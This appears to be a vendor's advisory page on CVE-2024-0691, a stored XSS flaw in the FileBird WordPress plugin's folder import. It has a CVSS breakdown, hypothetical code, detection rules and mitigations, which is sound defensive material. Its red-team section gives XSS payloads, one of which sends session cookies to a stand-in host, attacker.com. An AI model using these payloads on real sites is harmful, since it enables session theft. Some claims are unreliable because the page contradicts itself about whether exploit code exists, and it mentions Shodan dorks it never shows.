CVE-2024-0691
Executive Summary
CVE-2024-0691 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the FileBird WordPress plugin, affecting all versions up to and including 5.5.8.1. The vulnerability arises from insufficient input sanitization and output escaping of imported folder titles. An authenticated attacker with administrator-level access can inject arbitrary web scripts that execute whenever a user accesses the compromised page. Additionally, social engineering could trick an administrator into uploading a malicious folder import file, leading to script execution. The CVSS score is 5.5 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood in the wild. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the FileBird plugin. It is not related to Apache, Nginx, or any other web server software. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Administrators should verify the integrity of plugin downloads and consider using checksums or digital signatures if available. The lack of a patch from the vendor (FileBird) increases supply chain risk, as users must rely on manual mitigations or alternative plugins.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Base Score: 5.5 (Medium)
- Attack Vector: Network (AV:N) – The attack is conducted over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: High (PR:H) – Administrator-level access is needed.
- User Interaction: Required (UI:R) – The victim must interact with the malicious content (e.g., view the folder list).
- Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited information disclosure.
- Integrity Impact: Low (I:L) – Limited modification of data.
- Availability Impact: Low (A:L) – Limited service disruption.
Threat Level: Medium. The requirement for administrator privileges reduces the attack surface, but the potential for social engineering and the lack of a patch elevate the risk for affected sites.
Deep Dive & Mechanics
The vulnerability resides in the folder import functionality of the FileBird plugin. When an administrator imports folders (e.g., via CSV or JSON), the plugin fails to properly sanitize the folder titles. Specifically, the input is not stripped of malicious HTML/JavaScript, and the output is not escaped when rendering the folder list in the WordPress admin panel.
Attack Flow:
- An attacker with administrator credentials (or a socially engineered admin) uploads a malicious folder import file containing XSS payloads in folder titles.
- The plugin stores the unsanitized payload in the database.
- When any user (including other admins or lower-privileged users) views the folder list, the payload executes in their browser.
- The injected script can steal session cookies, perform actions on behalf of the victim, or deface the admin interface.
Root Cause: The plugin uses functions like sanitize_text_field() or esc_html() inconsistently, or not at all, for folder titles during import. The output escaping is also missing in the folder list rendering template.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.
Vulnerable Code (Hypothetical):
// In import function
$folder_title = $_POST['folder_title']; // No sanitization
$wpdb->insert('filebird_folders', ['title' => $folder_title]);
// In rendering
echo '<li>' . $folder_title . '</li>'; // No escaping
Patched Code (Hypothetical):
// In import function
$folder_title = sanitize_text_field($_POST['folder_title']); // Sanitize input
$wpdb->insert('filebird_folders', ['title' => $folder_title]);
// In rendering
echo '<li>' . esc_html($folder_title) . '</li>'; // Escape output
Key Changes:
- Use
sanitize_text_field()to strip malicious tags from input. - Use
esc_html()to encode HTML entities in output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress admin credentials (or ability to socially engineer an admin).
- FileBird plugin version <= 5.5.8.1.
Steps:
- Prepare a malicious folder import file (e.g.,
malicious_import.json):[ {"title": "<script>alert('XSS')</script>"}, {"title": "Safe Folder"} ] - Log in as an admin and navigate to FileBird → Import.
- Upload the malicious file and confirm the import.
- Navigate to the folder list view. The script executes, displaying an alert or performing a more sophisticated attack (e.g., cookie theft).
Advanced Payload (Cookie Theft):
[
{"title": "<img src=x onerror=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\">"}
]
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual folder import activity in WordPress logs.
- Look for folder titles containing
<script>,<img onerror>, or other HTML event handlers. - Use a Web Application Firewall (WAF) to block known XSS patterns in POST data.
Defense:
- Restrict admin access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a security plugin (e.g., Wordfence) to scan for malicious content.
- Manually review all imported folder titles before rendering.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwith actionfilebird_importcontaining suspicious folder titles. - Outbound connections to attacker-controlled domains (e.g.,
attacker.com) from the WordPress admin panel.
- POST requests to
Host IOCs:
- Database entries in
wp_filebird_folderstable withtitlecontaining<script>or other HTML tags. - Presence of unexpected JavaScript files in the WordPress uploads directory (if the payload writes files).
- Database entries in
File IOCs:
- Import files (CSV/JSON) containing XSS payloads in folder title fields.
Detection Engineering
YARA Rule
rule CVE_2024_0691_FileBird_XSS {
meta:
description = "Detects malicious folder import files targeting CVE-2024-0691"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2024-0691"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /on\w+\s*=\s*["'][^"']*["']/i
$folder_title = /"title"\s*:\s*"[^"]*"/i
condition:
all of ($xss_payload, $xss_event, $folder_title)
}
Sigma Rule
title: CVE-2024-0691 FileBird Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2024-0691 via folder import
author: Valters IT
date: 2025-04-14
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: '/wp-admin/admin-ajax.php'
http.body|contains: 'action=filebird_import'
http.body|re: '<script[^>]*>.*<\/script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in folder names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0691 FileBird Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=filebird_import"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the FileBird plugin until a patch is released.
- Restrict admin access to only trusted users.
- Review and clean existing folder titles for any malicious content.
Long-term Mitigation:
- Monitor the FileBird plugin page for updates and apply the patch as soon as it is available.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Use a WordPress security plugin to enforce input sanitization and output escaping.
- Educate administrators about social engineering risks related to file imports.
Workaround:
- If the plugin cannot be disabled, manually sanitize folder titles by editing the database directly (e.g., using phpMyAdmin) to remove any HTML/JavaScript.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.